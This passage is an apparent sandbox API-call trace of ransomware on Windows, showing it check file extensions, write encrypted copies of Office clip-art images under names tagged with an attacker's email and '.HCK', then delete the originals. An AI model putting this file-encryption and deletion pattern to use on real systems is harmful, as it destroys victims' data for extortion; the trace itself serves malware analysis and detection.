returned -1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString=".1cd") returned 4 [0178.103] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString=".jpg") returned 4 [0178.103] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString=".doc") returned 4 [0178.103] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.103] lstrlenW (lpString=".docx") returned 5 [0178.103] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0178.103] lstrlenW (lpString=".pdf") returned 4 [0178.103] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString=".xls") returned 4 [0178.103] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString=".xlsx") returned 5 [0178.103] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0178.103] lstrlenW (lpString=".ppt") returned 4 [0178.103] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.103] lstrlenW (lpString=".zip") returned 4 [0178.103] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.104] lstrlenW (lpString=".rar") returned 4 [0178.104] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.104] lstrlenW (lpString=".bz2") returned 4 [0178.104] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.104] lstrlenW (lpString=".7z") returned 3 [0178.104] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.104] lstrlenW (lpString=".dbf") returned 4 [0178.104] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.104] lstrlenW (lpString=".1cd") returned 4 [0178.104] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387591.JPG") returned 68 [0178.104] lstrlenW (lpString=".jpg") returned 4 [0178.104] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.104] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0178.104] lstrlenW (lpString="J0390072.JPG") returned 12 [0178.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.105] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=13596) returned 1 [0178.105] CloseHandle (hObject=0x2fc) returned 1 [0178.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg")) returned 0x220 [0178.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.112] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.112] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.116] GetLastError () returned 0x0 [0178.116] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x351c, lpOverlapped=0x0) returned 1 [0178.118] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3520, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3520, lpOverlapped=0x0) returned 1 [0178.118] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.118] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.118] SetEndOfFile (hFile=0x370) returned 1 [0178.120] CloseHandle (hObject=0x370) returned 1 [0178.122] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.122] SetEndOfFile (hFile=0x39c) returned 1 [0178.124] CloseHandle (hObject=0x39c) returned 1 [0178.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0390072.jpg")) returned 1 [0178.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.131] lstrlenW (lpString=".doc") returned 4 [0178.131] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.131] lstrlenW (lpString=".docx") returned 5 [0178.131] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.131] lstrlenW (lpString=".pdf") returned 4 [0178.131] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.131] lstrlenW (lpString=".xls") returned 4 [0178.131] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString=".xlsx") returned 5 [0178.132] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.132] lstrlenW (lpString=".ppt") returned 4 [0178.132] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".zip") returned 4 [0178.132] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString=".rar") returned 4 [0178.132] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString=".bz2") returned 4 [0178.132] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.132] lstrlenW (lpString=".7z") returned 3 [0178.132] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".dbf") returned 4 [0178.132] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".1cd") returned 4 [0178.132] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".jpg") returned 4 [0178.132] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".doc") returned 4 [0178.132] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.132] lstrlenW (lpString=".docx") returned 5 [0178.132] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.132] lstrlenW (lpString=".pdf") returned 4 [0178.132] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString=".xls") returned 4 [0178.132] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString=".xlsx") returned 5 [0178.132] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.132] lstrlenW (lpString=".ppt") returned 4 [0178.132] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".zip") returned 4 [0178.132] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString=".rar") returned 4 [0178.132] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.132] lstrlenW (lpString=".bz2") returned 4 [0178.132] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.132] lstrlenW (lpString=".7z") returned 3 [0178.132] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".dbf") returned 4 [0178.132] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.132] lstrlenW (lpString=".1cd") returned 4 [0178.132] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0390072.JPG") returned 68 [0178.133] lstrlenW (lpString=".jpg") returned 4 [0178.133] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.133] lstrcmpiW (lpString1=".PNG", lpString2=".HCK") returned 1 [0178.133] lstrlenW (lpString="J0400004.PNG") returned 12 [0178.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.135] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=105053) returned 1 [0178.135] CloseHandle (hObject=0x368) returned 1 [0178.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png")) returned 0x220 [0178.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.144] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.144] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.150] GetLastError () returned 0x0 [0178.150] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x19a5d, lpOverlapped=0x0) returned 1 [0178.153] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x19a60, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x19a60, lpOverlapped=0x0) returned 1 [0178.155] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.155] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.155] SetEndOfFile (hFile=0x368) returned 1 [0178.159] CloseHandle (hObject=0x368) returned 1 [0178.160] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.160] SetEndOfFile (hFile=0x370) returned 1 [0178.166] CloseHandle (hObject=0x370) returned 1 [0178.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png")) returned 1 [0178.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.168] lstrlenW (lpString=".doc") returned 4 [0178.168] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.168] lstrlenW (lpString=".docx") returned 5 [0178.168] lstrcmpiW (lpString1=".docx", lpString2="4.PNG") returned -1 [0178.168] lstrlenW (lpString=".pdf") returned 4 [0178.168] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.168] lstrlenW (lpString=".xls") returned 4 [0178.168] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.168] lstrlenW (lpString=".xlsx") returned 5 [0178.168] lstrcmpiW (lpString1=".xlsx", lpString2="4.PNG") returned -1 [0178.168] lstrlenW (lpString=".ppt") returned 4 [0178.168] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.168] lstrlenW (lpString=".zip") returned 4 [0178.168] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.168] lstrlenW (lpString=".rar") returned 4 [0178.168] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.168] lstrlenW (lpString=".bz2") returned 4 [0178.168] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.168] lstrlenW (lpString=".7z") returned 3 [0178.168] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.168] lstrlenW (lpString=".dbf") returned 4 [0178.168] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString=".1cd") returned 4 [0178.169] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString=".jpg") returned 4 [0178.169] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString=".doc") returned 4 [0178.169] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.169] lstrlenW (lpString=".docx") returned 5 [0178.169] lstrcmpiW (lpString1=".docx", lpString2="4.PNG") returned -1 [0178.169] lstrlenW (lpString=".pdf") returned 4 [0178.169] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.169] lstrlenW (lpString=".xls") returned 4 [0178.169] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.169] lstrlenW (lpString=".xlsx") returned 5 [0178.169] lstrcmpiW (lpString1=".xlsx", lpString2="4.PNG") returned -1 [0178.169] lstrlenW (lpString=".ppt") returned 4 [0178.169] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString=".zip") returned 4 [0178.169] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.169] lstrlenW (lpString=".rar") returned 4 [0178.169] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.169] lstrlenW (lpString=".bz2") returned 4 [0178.169] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.169] lstrlenW (lpString=".7z") returned 3 [0178.169] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString=".dbf") returned 4 [0178.169] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString=".1cd") returned 4 [0178.169] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG") returned 68 [0178.169] lstrlenW (lpString=".jpg") returned 4 [0178.169] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.169] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.169] lstrlenW (lpString="MP00646_.WMF") returned 12 [0178.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.170] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12770) returned 1 [0178.170] CloseHandle (hObject=0x39c) returned 1 [0178.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf")) returned 0x220 [0178.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.177] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.177] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.180] GetLastError () returned 0x0 [0178.180] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x31e2, lpOverlapped=0x0) returned 1 [0178.182] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x31f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x31f0, lpOverlapped=0x0) returned 1 [0178.182] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.182] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.183] SetEndOfFile (hFile=0x2fc) returned 1 [0178.185] CloseHandle (hObject=0x2fc) returned 1 [0178.187] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.187] SetEndOfFile (hFile=0x368) returned 1 [0178.187] CloseHandle (hObject=0x368) returned 1 [0178.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf")) returned 1 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString=".doc") returned 4 [0178.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString=".docx") returned 5 [0178.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.190] lstrlenW (lpString=".pdf") returned 4 [0178.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString=".xls") returned 4 [0178.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.190] lstrlenW (lpString=".xlsx") returned 5 [0178.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.190] lstrlenW (lpString=".ppt") returned 4 [0178.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString=".zip") returned 4 [0178.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.190] lstrlenW (lpString=".rar") returned 4 [0178.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString=".bz2") returned 4 [0178.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString=".7z") returned 3 [0178.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString=".dbf") returned 4 [0178.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString=".1cd") returned 4 [0178.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW (lpString=".jpg") returned 4 [0178.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF") returned 68 [0178.190] lstrlenW 